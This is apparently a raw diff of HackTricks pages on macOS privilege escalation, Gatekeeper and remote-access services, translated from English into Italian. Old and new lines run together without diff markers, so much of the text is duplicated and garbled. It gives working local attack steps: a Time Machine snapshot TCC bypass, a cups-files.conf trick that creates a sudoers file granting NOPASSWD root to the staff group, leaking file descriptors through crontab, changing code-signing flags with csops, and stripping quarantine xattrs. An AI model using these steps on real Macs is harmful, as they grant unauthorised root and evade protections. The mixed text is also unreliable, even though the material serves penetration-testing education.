<dict>
<key>CFBundleExecutable</key>
<string>Finder</string>
<key>CFBundleIdentifier</key>
<string>com.apple.finder</string>
<key>CFBundleName</key>
<string>Finder</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
<key>CFBundleExecutable</key>
<string>Finder</string>
<key>CFBundleIdentifier</key>
<string>com.apple.finder</string>
<key>CFBundleName</key>
<string>Finder</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF
@ -203,17 +198,15 @@ defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</
sleep 0.1
killall Dock
```
{{#endtab}}
{{#endtabs}}
## TCC - Root Privilege Escalation
## TCC - Escalazione dei privilegi di root
### CVE-2020-9771 - mount_apfs TCC bypass and privilege escalation
**Any user** (even unprivileged ones) can create and mount a time machine snapshot an **access ALL the files** of that snapshot.\
The **only privileged** needed is for the application used (like `Terminal`) to have **Full Disk Access** (FDA) access (`kTCCServiceSystemPolicyAllfiles`) which need to be granted by an admin.
### CVE-2020-9771 - bypass TCC di mount_apfs e escalation dei privilegi
**Qualsiasi utente** (anche quelli non privilegiati) può creare e montare uno snapshot di Time Machine e **accedere a TUTTI i file** di quello snapshot.\
L'**unico privilegio** necessario è che l'applicazione utilizzata (come `Terminal`) abbia accesso **Full Disk Access** (FDA) (`kTCCServiceSystemPolicyAllfiles`), che deve essere concesso da un amministratore.
```bash
# Create snapshot
tmutil localsnapshot
@ -233,12 +226,11 @@ mkdir /tmp/snap
# Access it
ls /tmp/snap/Users/admin_user # This will work
```
Una spiegazione più dettagliata può essere [**trovata nel rapporto originale**](https://theevilbit.github.io/posts/cve_2020_9771/)**.**
A more detailed explanation can be [**found in the original report**](https://theevilbit.github.io/posts/cve_2020_9771/)**.**
## Informazioni Sensibili
## Sensitive Information
This can be useful to escalate privileges:
Questo può essere utile per elevare i privilegi:
{{#ref}}
macos-files-folders-and-binaries/macos-sensitive-locations.md

View File

@ -4,16 +4,15 @@
## Remote Access Services
These are the common macOS services to access them remotely.\
You can enable/disable these services in `System Settings` --> `Sharing`
Questi sono i servizi macOS comuni per accedervi da remoto.\
Puoi abilitare/disabilitare questi servizi in `System Settings` --> `Sharing`
- **VNC**, known as “Screen Sharing” (tcp:5900)
- **SSH**, called “Remote Login” (tcp:22)
- **Apple Remote Desktop** (ARD), or “Remote Management” (tcp:3283, tcp:5900)
- **AppleEvent**, known as “Remote Apple Event” (tcp:3031)
Check if any is enabled running:
- **VNC**, conosciuto come “Screen Sharing” (tcp:5900)
- **SSH**, chiamato “Remote Login” (tcp:22)
- **Apple Remote Desktop** (ARD), o “Remote Management” (tcp:3283, tcp:5900)
- **AppleEvent**, conosciuto come “Remote Apple Event” (tcp:3031)
Controlla se qualcuno è abilitato eseguendo:
```bash
rmMgmt=$(netstat -na | grep LISTEN | grep tcp46 | grep "*.3283" | wc -l);
scrShrng=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.5900" | wc -l);
@ -23,103 +22,90 @@ rAE=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.3031" | wc -l);
bmM=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.4488" | wc -l);
printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharing: %s\nFile Sharing: %s\nRemote Login: %s\nRemote Mgmt: %s\nRemote Apple Events: %s\nBack to My Mac: %s\n\n" "$scrShrng" "$flShrng" "$rLgn" "$rmMgmt" "$rAE" "$bmM";
```
### Pentesting ARD
Apple Remote Desktop (ARD) is an enhanced version of [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) tailored for macOS, offering additional features. A notable vulnerability in ARD is its authentication method for the control screen password, which only uses the first 8 characters of the password, making it prone to [brute force attacks](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) with tools like Hydra or [GoRedShell](https://github.com/ahhh/GoRedShell/), as there are no default rate limits.
Apple Remote Desktop (ARD) è una versione avanzata di [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) progettata per macOS, che offre funzionalità aggiuntive. Una vulnerabilità notevole in ARD è il suo metodo di autenticazione per la password dello schermo di controllo, che utilizza solo i primi 8 caratteri della password, rendendolo suscettibile a [brute force attacks](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) con strumenti come Hydra o [GoRedShell](https://github.com/ahhh/GoRedShell/), poiché non ci sono limiti di velocità predefiniti.
Vulnerable instances can be identified using **nmap**'s `vnc-info` script. Services supporting `VNC Authentication (2)` are especially susceptible to brute force attacks due to the 8-character password truncation.
To enable ARD for various administrative tasks like privilege escalation, GUI access, or user monitoring, use the following command:
Le istanze vulnerabili possono essere identificate utilizzando lo script `vnc-info` di **nmap**. I servizi che supportano `VNC Authentication (2)` sono particolarmente suscettibili agli attacchi di forza bruta a causa della troncatura della password a 8 caratteri.
Per abilitare ARD per vari compiti amministrativi come l'escalation dei privilegi, l'accesso GUI o il monitoraggio degli utenti, utilizzare il seguente comando:
```bash
sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -clientopts -setmenuextra -menuextra yes
```
ARD fornisce livelli di controllo versatili, inclusi osservazione, controllo condiviso e controllo completo, con sessioni che persistono anche dopo le modifiche della password dell'utente. Consente di inviare comandi Unix direttamente, eseguendoli come root per gli utenti amministrativi. La pianificazione dei compiti e la ricerca remota di Spotlight sono caratteristiche notevoli, che facilitano ricerche remote a basso impatto per file sensibili su più macchine.
ARD provides versatile control levels, including observation, shared control, and full control, with sessions persisting even after user password changes. It allows sending Unix commands directly, executing them as root for administrative users. Task scheduling and Remote Spotlight search are notable features, facilitating remote, low-impact searches for sensitive files across multiple machines.
## Protocollo Bonjour
## Bonjour Protocol
Bonjour, una tecnologia progettata da Apple, consente **ai dispositivi sulla stessa rete di rilevare i servizi offerti l'uno dall'altro**. Conosciuto anche come Rendezvous, **Zero Configuration** o Zeroconf, consente a un dispositivo di unirsi a una rete TCP/IP, **scegliere automaticamente un indirizzo IP** e trasmettere i propri servizi ad altri dispositivi di rete.
Bonjour, an Apple-designed technology, allows **devices on the same network to detect each other's offered services**. Known also as Rendezvous, **Zero Configuration**, or Zeroconf, it enables a device to join a TCP/IP network, **automatically choose an IP address**, and broadcast its services to other network devices.
La Rete Zero Configuration, fornita da Bonjour, garantisce che i dispositivi possano:
Zero Configuration Networking, provided by Bonjour, ensures that devices can:
- **Ottenere automaticamente un indirizzo IP** anche in assenza di un server DHCP.
- Eseguire **la traduzione nome-indirizzo** senza richiedere un server DNS.
- **Scoprire i servizi** disponibili sulla rete.
- **Automatically obtain an IP Address** even in the absence of a DHCP server.
- Perform **name-to-address translation** without requiring a DNS server.
- **Discover services** available on the network.
I dispositivi che utilizzano Bonjour si assegneranno un **indirizzo IP dall'intervallo 169.254/16** e verificheranno la sua unicità sulla rete. I Mac mantengono un'entrata nella tabella di routing per questa subnet, verificabile tramite `netstat -rn | grep 169`.
Devices using Bonjour will assign themselves an **IP address from the 169.254/16 range** and verify its uniqueness on the network. Macs maintain a routing table entry for this subnet, verifiable via `netstat -rn | grep 169`.
Per DNS, Bonjour utilizza il **protocollo Multicast DNS (mDNS)**. mDNS opera su **porta 5353/UDP**, impiegando **query DNS standard** ma mirate all'**indirizzo multicast 224.0.0.251**. Questo approccio garantisce che tutti i dispositivi in ascolto sulla rete possano ricevere e rispondere alle query, facilitando l'aggiornamento dei loro record.
For DNS, Bonjour utilizes the **Multicast DNS (mDNS) protocol**. mDNS operates over **port 5353/UDP**, employing **standard DNS queries** but targeting the **multicast address 224.0.0.251**. This approach ensures that all listening devices on the network can receive and respond to the queries, facilitating the update of their records.
All'unirsi alla rete, ogni dispositivo seleziona autonomamente un nome, che di solito termina in **.local**, il quale può derivare dal nome host o essere generato casualmente.
Upon joining the network, each device self-selects a name, typically ending in **.local**, which may be derived from the hostname or randomly generated.
La scoperta dei servizi all'interno della rete è facilitata da **DNS Service Discovery (DNS-SD)**. Sfruttando il formato dei record DNS SRV, DNS-SD utilizza **record DNS PTR** per abilitare l'elenco di più servizi. Un client che cerca un servizio specifico richiederà un record PTR per `<Service>.<Domain>`, ricevendo in cambio un elenco di record PTR formattati come `<Instance>.<Service>.<Domain>` se il servizio è disponibile da più host.
Service discovery within the network is facilitated by **DNS Service Discovery (DNS-SD)**. Leveraging the format of DNS SRV records, DNS-SD uses **DNS PTR records** to enable the listing of multiple services. A client seeking a specific service will request a PTR record for `<Service>.<Domain>`, receiving in return a list of PTR records formatted as `<Instance>.<Service>.<Domain>` if the service is available from multiple hosts.
L'utilità `dns-sd` può essere impiegata per **scoprire e pubblicizzare i servizi di rete**. Ecco alcuni esempi del suo utilizzo:
The `dns-sd` utility can be employed for **discovering and advertising network services**. Here are some examples of its usage:
### Searching for SSH Services
To search for SSH services on the network, the following command is used:
### Ricerca di Servizi SSH
Per cercare servizi SSH sulla rete, viene utilizzato il seguente comando:
```bash
dns-sd -B _ssh._tcp
```
Questo comando avvia la ricerca dei servizi \_ssh.\_tcp e restituisce dettagli come timestamp, flag, interfaccia, dominio, tipo di servizio e nome dell'istanza.
This command initiates browsing for \_ssh.\_tcp services and outputs details such as timestamp, flags, interface, domain, service type, and instance name.
### Advertising an HTTP Service
To advertise an HTTP service, you can use:
### Pubblicizzare un Servizio HTTP
Per pubblicizzare un servizio HTTP, puoi usare:
```bash
dns-sd -R "Index" _http._tcp . 80 path=/index.html
```
Questo comando registra un servizio HTTP chiamato "Index" sulla porta 80 con un percorso di `/index.html`.
This command registers an HTTP service named "Index" on port 80 with a path of `/index.html`.
To then search for HTTP services on the network:
Per cercare i servizi HTTP sulla rete:
```bash
dns-sd -B _http._tcp
```
Quando un servizio si avvia, annuncia la sua disponibilità a tutti i dispositivi sulla subnet multicasting la sua presenza. I dispositivi interessati a questi servizi non devono inviare richieste, ma semplicemente ascoltare questi annunci.
When a service starts, it announces its availability to all devices on the subnet by multicasting its presence. Devices interested in these services don't need to send requests but simply listen for these announcements.
For a more user-friendly interface, the **Discovery - DNS-SD Browser** app available on the Apple App Store can visualize the services offered on your local network.
Alternatively, custom scripts can be written to browse and discover services using the `python-zeroconf` library. The [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) script demonstrates creating a service browser for `_http._tcp.local.` services, printing added or removed services:
Per un'interfaccia più user-friendly, l'app **Discovery - DNS-SD Browser** disponibile su Apple App Store può visualizzare i servizi offerti sulla tua rete locale.
In alternativa, possono essere scritti script personalizzati per navigare e scoprire servizi utilizzando la libreria `python-zeroconf`. Lo script [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) dimostra come creare un browser di servizi per i servizi `_http._tcp.local.`, stampando i servizi aggiunti o rimossi:
```python
from zeroconf import ServiceBrowser, Zeroconf
class MyListener:
def remove_service(self, zeroconf, type, name):
print("Service %s removed" % (name,))
def remove_service(self, zeroconf, type, name):
print("Service %s removed" % (name,))
def add_service(self, zeroconf, type, name):
info = zeroconf.get_service_info(type, name)
print("Service %s added, service info: %s" % (name, info))
def add_service(self, zeroconf, type, name):
info = zeroconf.get_service_info(type, name)
print("Service %s added, service info: %s" % (name, info))
zeroconf = Zeroconf()
listener = MyListener()
browser = ServiceBrowser(zeroconf, "_http._tcp.local.", listener)
try:
input("Press enter to exit...\n\n")
input("Press enter to exit...\n\n")
finally:
zeroconf.close()
zeroconf.close()
```
### Disabilitare Bonjour
### Disabling Bonjour
If there are concerns about security or other reasons to disable Bonjour, it can be turned off using the following command:
Se ci sono preoccupazioni riguardo alla sicurezza o altre ragioni per disabilitare Bonjour, può essere disattivato utilizzando il seguente comando:
```bash
sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
```
## References
## Riferimenti
- [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt_other?_encoding=UTF8&me=&qid=)
- [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)

View File

@ -7,9 +7,9 @@
Permessi in una **directory**:
- **read** - puoi **enumerare** le voci della directory
- **write** - puoi **cancellare/scrivere** **file** nella directory e puoi **cancellare cartelle vuote**.
- Ma non puoi **cancellare/modificare cartelle non vuote** a meno che tu non abbia permessi di scrittura su di essa.
- Non puoi **modificare il nome di una cartella** a meno che tu non sia il proprietario.
- **write** - puoi **eliminare/scrivere** **file** nella directory e puoi **eliminare cartelle vuote**.
- Ma **non puoi eliminare/modificare cartelle non vuote** a meno che tu non abbia permessi di scrittura su di essa.
- **Non puoi modificare il nome di una cartella** a meno che tu non sia il proprietario.
- **execute** - ti è **consentito di attraversare** la directory - se non hai questo diritto, non puoi accedere a nessun file al suo interno, né in alcuna sottodirectory.
### Combinazioni Pericolose
@ -18,7 +18,7 @@ Permessi in una **directory**:
- Un **proprietario della directory** genitore nel percorso è l'utente
- Un **proprietario della directory** genitore nel percorso è un **gruppo di utenti** con **accesso in scrittura**
- Un **gruppo di utenti** ha accesso **in scrittura** al **file**
- Un **gruppo di utenti** ha **accesso in scrittura** al **file**
Con una delle combinazioni precedenti, un attaccante potrebbe **iniettare** un **link simbolico/duro** nel percorso previsto per ottenere una scrittura arbitraria privilegiata.
@ -28,12 +28,18 @@ Se ci sono file in una **directory** dove **solo root ha accesso R+X**, questi *
Esempio in: [https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions)
## Link simbolico / Link duro
## Link Simbolico / Link Duro
### File/cartella permissivi
Se un processo privilegiato sta scrivendo dati in un **file** che potrebbe essere **controllato** da un **utente con privilegi inferiori**, o che potrebbe essere **stato precedentemente creato** da un utente con privilegi inferiori. L'utente potrebbe semplicemente **puntarlo a un altro file** tramite un link simbolico o duro, e il processo privilegiato scriverà su quel file.
Controlla nelle altre sezioni dove un attaccante potrebbe **sfruttare una scrittura arbitraria per elevare i privilegi**.
### Open `O_NOFOLLOW`
Il flag `O_NOFOLLOW` quando utilizzato dalla funzione `open` non seguirà un symlink nell'ultimo componente del percorso, ma seguirà il resto del percorso. Il modo corretto per prevenire il seguire symlink nel percorso è utilizzare il flag `O_NOFOLLOW_ANY`.
## .fileloc
I file con estensione **`.fileloc`** possono puntare ad altre applicazioni o binari, quindi quando vengono aperti, l'applicazione/binario sarà quello eseguito.\
@ -50,15 +56,19 @@ Esempio:
</dict>
</plist>
```
## FD Arbitrario
## File Descriptors
Se puoi far **aprire a un processo un file o una cartella con privilegi elevati**, puoi abusare di **`crontab`** per aprire un file in `/etc/sudoers.d` con **`EDITOR=exploit.py`**, in modo che `exploit.py` ottenga il FD del file all'interno di `/etc/sudoers` e lo sfrutti.
### Leak FD (no `O_CLOEXEC`)
Ad esempio: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098)
Se una chiamata a `open` non ha il flag `O_CLOEXEC`, il file descriptor sarà ereditato dal processo figlio. Quindi, se un processo privilegiato apre un file privilegiato ed esegue un processo controllato dall'attaccante, l'attaccante **erediterà il FD sul file privilegiato**.
## Evita i trucchi xattrs di quarantena
Se riesci a far **aprire a un processo un file o una cartella con privilegi elevati**, puoi abusare di **`crontab`** per aprire un file in `/etc/sudoers.d` con **`EDITOR=exploit.py`**, in modo che `exploit.py` ottenga il FD al file all'interno di `/etc/sudoers` e lo abusi.
### Rimuovilo
Ad esempio: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098), codice: https://github.com/gergelykalman/CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging
## Avoid quarantine xattrs tricks
### Remove it
```bash
xattr -d com.apple.quarantine /path/to/file_or_app
```
@ -114,7 +124,7 @@ Il formato di file **AppleDouble** copia un file inclusi i suoi ACE.
Nel [**codice sorgente**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) è possibile vedere che la rappresentazione testuale dell'ACL memorizzata all'interno dell'xattr chiamato **`com.apple.acl.text`** verrà impostata come ACL nel file decompresso. Quindi, se hai compresso un'applicazione in un file zip con formato di file **AppleDouble** con un ACL che impedisce ad altri xattrs di essere scritti... l'xattr di quarantena non è stato impostato nell'applicazione:
Controlla il [**report originale**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) per ulteriori informazioni.
Controlla il [**rapporto originale**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) per ulteriori informazioni.
Per replicare questo, dobbiamo prima ottenere la stringa acl corretta:
```bash
@ -136,13 +146,34 @@ ls -le test
```
(Note that even if this works the sandbox write the quarantine xattr before)
Non è davvero necessario, ma lo lascio lì giusto per caso:
Non è davvero necessario, ma lo lascio lì giusto in caso:
{{#ref}}
macos-xattr-acls-extra-stuff.md
{{#endref}}
## Bypassare le firme del codice
## Bypass dei controlli di firma
### Bypass dei controlli dei binari di piattaforma
Al alcuni controlli di sicurezza verificano se il binario è un **binario di piattaforma**, ad esempio per consentire la connessione a un servizio XPC. Tuttavia, come esposto in un bypass in https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/, è possibile aggirare questo controllo ottenendo un binario di piattaforma (come /bin/ls) e iniettando l'exploit tramite dyld utilizzando una variabile d'ambiente `DYLD_INSERT_LIBRARIES`.
### Bypass dei flag `CS_REQUIRE_LV` e `CS_FORCED_LV`
È possibile per un binario in esecuzione modificare i propri flag per aggirare i controlli con un codice come:
```c
// Code from https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/
int pid = getpid();
NSString *exePath = NSProcessInfo.processInfo.arguments[0];
uint32_t status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
status |= 0x2000; // CS_REQUIRE_LV
csops(pid, 9, &status, 4); // CS_OPS_SET_STATUS
status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, status);
```
## Bypass Code Signatures
I bundle contengono il file **`_CodeSignature/CodeResources`** che contiene l'**hash** di ogni singolo **file** nel **bundle**. Nota che l'hash di CodeResources è anche **incorporato nell'eseguibile**, quindi non possiamo modificarlo.
@ -217,7 +248,7 @@ hdiutil detach /private/tmp/mnt 1>/dev/null
# You can also create a dmg from an app using:
hdiutil create -srcfolder justsome.app justsome.dmg
```
Di solito, macOS monta il disco comunicando con il servizio Mach `com.apple.DiskArbitrarion.diskarbitrariond` (fornito da `/usr/libexec/diskarbitrationd`). Se si aggiunge il parametro `-d` al file plist di LaunchDaemons e si riavvia, memorizzerà i log in `/var/log/diskarbitrationd.log`.\
Di solito, macOS monta i dischi comunicando con il servizio Mach `com.apple.DiskArbitrarion.diskarbitrariond` (fornito da `/usr/libexec/diskarbitrationd`). Se si aggiunge il parametro `-d` al file plist di LaunchDaemons e si riavvia, memorizzerà i log in `/var/log/diskarbitrationd.log`.\
Tuttavia, è possibile utilizzare strumenti come `hdik` e `hdiutil` per comunicare direttamente con il kext `com.apple.driver.DiskImages`.
## Scritture Arbitrari
@ -249,19 +280,39 @@ Scrivi un **LaunchDaemon** arbitrario come **`/Library/LaunchDaemons/xyz.hacktri
```
Genera semplicemente lo script `/Applications/Scripts/privesc.sh` con i **comandi** che desideri eseguire come root.
### File Sudoers
### Sudoers File
Se hai **scrittura arbitraria**, potresti creare un file all'interno della cartella **`/etc/sudoers.d/`** concedendoti privilegi **sudo**.
### File PATH
### PATH files
Il file **`/etc/paths`** è uno dei principali luoghi che popola la variabile d'ambiente PATH. Devi essere root per sovrascriverlo, ma se uno script di un **processo privilegiato** sta eseguendo un **comando senza il percorso completo**, potresti essere in grado di **dirottarlo** modificando questo file.
Puoi anche scrivere file in **`/etc/paths.d`** per caricare nuove cartelle nella variabile d'ambiente `PATH`.
### cups-files.conf
Questa tecnica è stata utilizzata in [questo writeup](https://www.kandji.io/blog/macos-audit-story-part1).
Crea il file `/etc/cups/cups-files.conf` con il seguente contenuto:
```
ErrorLog /etc/sudoers.d/lpe
LogFilePerm 777
<some junk>
```
Questo creerà il file `/etc/sudoers.d/lpe` con permessi 777. La spazzatura extra alla fine serve a innescare la creazione del log degli errori.
Poi, scrivi in `/etc/sudoers.d/lpe` la configurazione necessaria per elevare i privilegi come `%staff ALL=(ALL) NOPASSWD:ALL`.
Poi, modifica di nuovo il file `/etc/cups/cups-files.conf` indicando `LogFilePerm 700` in modo che il nuovo file sudoers diventi valido invocando `cupsctl`.
### Sandbox Escape
È possibile sfuggire alla sandbox di macOS con una scrittura arbitraria su FS. Per alcuni esempi, controlla la pagina [macOS Auto Start](../../../../macos-auto-start-locations.md), ma uno comune è scrivere un file di preferenze del Terminale in `~/Library/Preferences/com.apple.Terminal.plist` che esegue un comando all'avvio e chiamarlo usando `open`.
## Genera file scrivibili come altri utenti
Questo genererà un file che appartiene a root e che è scrivibile da me ([**codice da qui**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). Questo potrebbe anche funzionare come privesc:
Questo genererà un file che appartiene a root e che è scrivibile da me ([**codice da qui**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). Questo potrebbe funzionare anche come privesc:
```bash
DIRNAME=/usr/local/etc/periodic/daily

View File

@ -2,15 +2,11 @@
{{#include ../../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Gatekeeper
**Gatekeeper** è una funzione di sicurezza sviluppata per i sistemi operativi Mac, progettata per garantire che gli utenti **eseguano solo software affidabile** sui loro sistemi. Funziona **validando il software** che un utente scarica e tenta di aprire da **fonti esterne all'App Store**, come un'app, un plug-in o un pacchetto di installazione.
Il meccanismo chiave di Gatekeeper risiede nel suo processo di **verifica**. Controlla se il software scaricato è **firmato da uno sviluppatore riconosciuto**, garantendo l'autenticità del software. Inoltre, verifica se il software è **notarizzato da Apple**, confermando che è privo di contenuti dannosi noti e non è stato manomesso dopo la notarizzazione.
Il meccanismo chiave di Gatekeeper risiede nel suo processo di **verifica**. Controlla se il software scaricato è **firmato da uno sviluppatore riconosciuto**, garantendo l'autenticità del software. Inoltre, accerta se il software è **notarizzato da Apple**, confermando che è privo di contenuti dannosi noti e non è stato manomesso dopo la notarizzazione.
Inoltre, Gatekeeper rafforza il controllo e la sicurezza dell'utente **richiedendo agli utenti di approvare l'apertura** del software scaricato per la prima volta. Questa misura di sicurezza aiuta a prevenire che gli utenti eseguano involontariamente codice eseguibile potenzialmente dannoso che potrebbero aver scambiato per un file di dati innocuo.
@ -20,9 +16,9 @@ Le firme delle applicazioni, note anche come firme del codice, sono un component
Ecco come funziona:
1. **Firmare l'Applicazione:** Quando uno sviluppatore è pronto a distribuire la propria applicazione, **firma l'applicazione utilizzando una chiave privata**. Questa chiave privata è associata a un **certificato che Apple rilascia allo sviluppatore** quando si iscrive al Programma Sviluppatori Apple. Il processo di firma prevede la creazione di un hash crittografico di tutte le parti dell'app e la crittografia di questo hash con la chiave privata dello sviluppatore.
2. **Distribuire l'Applicazione:** L'applicazione firmata viene quindi distribuita agli utenti insieme al certificato dello sviluppatore, che contiene la corrispondente chiave pubblica.
3. **Verificare l'Applicazione:** Quando un utente scarica e tenta di eseguire l'applicazione, il sistema operativo Mac utilizza la chiave pubblica del certificato dello sviluppatore per decrittografare l'hash. Quindi ricalcola l'hash in base allo stato attuale dell'applicazione e lo confronta con l'hash decrittografato. Se corrispondono, significa che **l'applicazione non è stata modificata** da quando è stata firmata dallo sviluppatore e il sistema consente l'esecuzione dell'applicazione.
1. **Firmare l'applicazione:** Quando uno sviluppatore è pronto a distribuire la propria applicazione, **firma l'applicazione utilizzando una chiave privata**. Questa chiave privata è associata a un **certificato che Apple rilascia allo sviluppatore** quando si iscrive al Programma Sviluppatori Apple. Il processo di firma prevede la creazione di un hash crittografico di tutte le parti dell'app e la crittografia di questo hash con la chiave privata dello sviluppatore.
2. **Distribuire l'applicazione:** L'applicazione firmata viene quindi distribuita agli utenti insieme al certificato dello sviluppatore, che contiene la corrispondente chiave pubblica.
3. **Verificare l'applicazione:** Quando un utente scarica e tenta di eseguire l'applicazione, il sistema operativo Mac utilizza la chiave pubblica del certificato dello sviluppatore per decrittografare l'hash. Quindi ricalcola l'hash in base allo stato attuale dell'applicazione e lo confronta con l'hash decrittografato. Se corrispondono, significa che **l'applicazione non è stata modificata** da quando è stata firmata dallo sviluppatore e il sistema consente l'esecuzione dell'applicazione.
Le firme delle applicazioni sono una parte essenziale della tecnologia Gatekeeper di Apple. Quando un utente tenta di **aprire un'applicazione scaricata da internet**, Gatekeeper verifica la firma dell'applicazione. Se è firmata con un certificato rilasciato da Apple a uno sviluppatore noto e il codice non è stato manomesso, Gatekeeper consente l'esecuzione dell'applicazione. Altrimenti, blocca l'applicazione e avvisa l'utente.
@ -72,7 +68,7 @@ GateKeeper verificherà se, secondo le **preferenze e la firma**, un binario pu
<figure><img src="../../../images/image (1150).png" alt=""><figcaption></figcaption></figure>
**`syspolicyd`** è il principale daemon responsabile dell'applicazione di Gatekeeper. Mantiene un database situato in `/var/db/SystemPolicy` ed è possibile trovare il codice per supportare il [database qui](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/policydb.cpp) e il [modello SQL qui](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/syspolicy.sql). Nota che il database non è limitato da SIP ed è scrivibile da root e il database `/var/db/.SystemPolicy-default` è utilizzato come backup originale nel caso in cui l'altro venga corrotto.
**`syspolicyd`** è il principale demone responsabile dell'applicazione di Gatekeeper. Mantiene un database situato in `/var/db/SystemPolicy` ed è possibile trovare il codice per supportare il [database qui](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/policydb.cpp) e il [modello SQL qui](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/syspolicy.sql). Nota che il database non è limitato da SIP ed è scrivibile da root e il database `/var/db/.SystemPolicy-default` è utilizzato come backup originale nel caso in cui l'altro si corrompa.
Inoltre, i bundle **`/var/db/gke.bundle`** e **`/var/db/gkopaque.bundle`** contengono file con regole che vengono inserite nel database. Puoi controllare questo database come root con:
```bash
@ -91,7 +87,7 @@ anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists an
**`syspolicyd`** espone anche un server XPC con diverse operazioni come `assess`, `update`, `record` e `cancel` che sono anche raggiungibili utilizzando le API **`SecAssessment*`** di **`Security.framework`** e **`xpctl`** comunica effettivamente con **`syspolicyd`** tramite XPC.
Nota come la prima regola sia terminata in "**App Store**" e la seconda in "**Developer ID**" e che nell'immagine precedente era **abilitato ad eseguire app dall'App Store e sviluppatori identificati**.\
Se **modifichi** quella impostazione in App Store, le "**regole Notarized Developer ID" scompariranno**.
Se **modifichi** quella impostazione su App Store, le "**regole del Developer ID Notarizzato" scompariranno**.
Ci sono anche migliaia di regole di **tipo GKE** :
```bash
@ -147,7 +143,7 @@ spctl --assess -v /Applications/App.app
```
Riguardo alle **estensioni del kernel**, la cartella `/var/db/SystemPolicyConfiguration` contiene file con elenchi di kext autorizzati a essere caricati. Inoltre, `spctl` ha il diritto `com.apple.private.iokit.nvram-csr` perché è in grado di aggiungere nuove estensioni del kernel pre-approvate che devono essere salvate anche in NVRAM in una chiave `kext-allowed-teams`.
### File di Quarantena
### File in Quarantena
Al **download** di un'applicazione o file, specifiche **applicazioni** macOS come browser web o client di posta elettronica **allegano un attributo di file esteso**, comunemente noto come il "**flag di quarantena**," al file scaricato. Questo attributo funge da misura di sicurezza per **contrassegnare il file** come proveniente da una fonte non attendibile (internet) e potenzialmente portatore di rischi. Tuttavia, non tutte le applicazioni allegano questo attributo; ad esempio, i comuni software client BitTorrent di solito bypassano questo processo.
@ -162,7 +158,7 @@ Nel caso in cui il **flag di quarantena non sia presente** (come con i file scar
> [!WARNING]
> Questo attributo deve essere **impostato dall'applicazione che crea/scarica** il file.
>
> Tuttavia, i file che sono sandboxed avranno questo attributo impostato su ogni file che creano. E le app non sandboxed possono impostarlo da sole, o specificare la chiave [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc) nel **Info.plist** che farà sì che il sistema imposti l'attributo esteso `com.apple.quarantine` sui file creati,
> Tuttavia, i file che sono in sandbox avranno questo attributo impostato su ogni file che creano. E le app non in sandbox possono impostarlo da sole, o specificare la chiave [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc) nel **Info.plist** che farà sì che il sistema imposti l'attributo esteso `com.apple.quarantine` sui file creati,
Inoltre, tutti i file creati da un processo che chiama **`qtn_proc_apply_to_self`** sono messi in quarantena. Oppure l'API **`qtn_file_apply_to_path`** aggiunge l'attributo di quarantena a un percorso di file specificato.
@ -309,7 +305,7 @@ XProtect si trova in una posizione protetta da SIP in **/Library/Apple/System/Li
